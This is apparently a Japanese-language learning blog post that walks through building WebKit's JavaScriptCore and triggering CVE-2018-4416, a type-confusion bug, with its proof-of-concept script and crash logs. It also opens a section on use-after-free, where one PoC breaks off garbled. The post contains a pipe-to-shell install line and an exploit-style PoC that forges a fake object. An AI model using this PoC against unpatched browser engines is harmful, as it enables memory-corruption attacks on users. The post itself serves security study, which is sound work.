
CVE-2018-4416 の教育用ウォークスルー。WebKit JavaScriptCore の型混淆(type confusion)の脆弱性で、PoC、デバッグ環境のセットアップ、一般的なブラウザのバイナリエクスプロイト技術の分析を含みます。
比較的簡単なものとして /WebKit/ を選びました。(ChakraCore のほうが簡単かもしれませんが、LoL。でも Microsoft がプロジェクトを中止するという噂があります。そのため選ばないことにしました。)
/WebKit/ セキュリティに関する学習ノートをシリーズの投稿として記録します。ブラウザセキュリティを学ぶのは初めてなので、私の投稿には おそらく たくさんの 間違いがあるでしょう。もし気づいたら、遠慮なく訂正のためにご連絡ください。
読む前に知っておくべきこと:
** 仮想マシン :PROPERTIES: :CUSTOM_ID: virtual-machine :END: まず、テスト対象としてVMをインストールする必要があります。ここでは /Ubuntu 18.04 LTS/ と /Ubuntu 16.04 LTS/ をターゲットホストとして選びます。ダウンロードは [[https://www.ubuntu.com/][こちら]] から。バージョンを指定しない場合は、18.04 LTS をデフォルトバージョン として使用してください。
Mac のほうが適切かもしれません。XCode と Safari があるからです。しかし、MacOS の高いリソース消費と不安定なアップデートを考慮すると、私は Ubuntu を使用します。
VM ソフトウェアが必要です。私は [[https://www.vmware.com/][VMWare]] を使用するのが好きです。Parallel Desktop や VirtualBox(無料)でも構いません。個人の習慣によります。
VMWare に Ubuntu をインストールする手順を一つ一つ説明はしません。ただし、コンパイルは大量のリソースを消費するため、できるだけ多くのメモリとCPU を割り当てるよう注意してください。80GB のディスクはソースコードとコンパイル済みファイルを保存するのに十分でしょう。
** ソースコード :PROPERTIES: :CUSTOM_ID: source-code :END: WebKit のソースコードは3つの方法でダウンロードできます: [[https://github.com/WebKit/webkit][/git/]]、/svn/、そして [[https://webkit.org/getting-the-code/][/archive/]]。
WebKit のデフォルトのバージョン管理は svn です。しかし、私は git を選びます(svn にあまり慣れていないので):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** デバッガとエディタ :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE は多くのリソースを消費するので、ソースコードの編集には vim を使います。
これまでに見たデバッグ作業のほとんどは、私が慣れていない lldb を使っていました。そのため、gdb に gef プラグインを追加してインストールします。
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** テスト :PROPERTIES: :CUSTOM_ID: test :END: *** JavaScriptCore のコンパイル :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 完全な WebKit をコンパイルするには多大な時間がかかります。現在は、ほとんどの脆弱性が存在する JSC(JavaScript Core)のみをコンパイルします。
今、WebKit ソースコードの ルートディレクトリ にいる必要があります。以下のコマンドを実行して依存関係を準備します:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
まだ完全な WebKit をコンパイルしていませんが、将来のテストのために残りの依存関係を先にインストールしておくこともできます。この手順は JSC のコンパイルには必須ではありません。時間をかけたくない場合はスキップしてください:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
その後、JSC をコンパイルします:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
数分後、JSC を次のように実行できます:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
いくつかテストしてみましょう:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** バグのトリガー :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote ここでは Ubuntu 18.04 LTS を使用 #+end_quote
[[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] を使ってテストします。以下が PoC です。=jsc= と同じフォルダに =poc.js= として保存してください:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // 最適化を開始 for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // "tmp" の構造IDは JSPropertyNameEnumerator に格納される
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // "obj" の構造IDは tmp と同じになる
return obj[k]; // 型の混乱
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
まず、脆弱なバージョンに切り替えます:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote コンパイルよりもさらに時間がかかるかもしれません #+end_quote
実行:=./jsc poc.js= で、次の結果が得られます:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
最新バージョン(=git checkout master= で戻り、ビルドコンテンツを削除 =rm -rf WebKitBuild/Relase/= および =rm -rf WebKitBuild/Debug/=)で実行すると:
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > const&, unsigned long) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876a7a) ... // 多数のエラーメッセージ
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
これでバグのトリガーに成功しました!
詳細は説明しません(私もわかりません)。数週間後には根本原因を突き止められるといいのですが。
ここではバイナリレベルのバグについてのみ説明します。/URL Spoof/ や /UXSS/ のような高レベルなバグは対象外です。以下の例は WebKit だけのものではありません。Chrome のバグも含まれています。簡単に紹介し、後で PoC を具体的に分析します。
この部分を読む前に、コンパイラ理論に関する資料を読むことを強くお勧めします。基本的な Pwn の知識も学習しておくべきです。私の説明は明確ではありません。繰り返しますが、間違いを見つけたら訂正してください。
この投稿は、JSC の理解が深まるにつれて何度か更新されます。後で確認するのを忘れないでください。
** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: 別名 =UAF=。CTF チャレンジでよく見られる、典型的なシナリオです:
#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src
いくつかのロジックエラーが原因で、解放されたメモリを再利用します。通常、解放されたメモリを制御できれば、リークや書き込みが可能になります。
CVE-2017-13791 は WebKit UAF の例です。PoC は以下の通り:
#+begin_example
a b #+end_example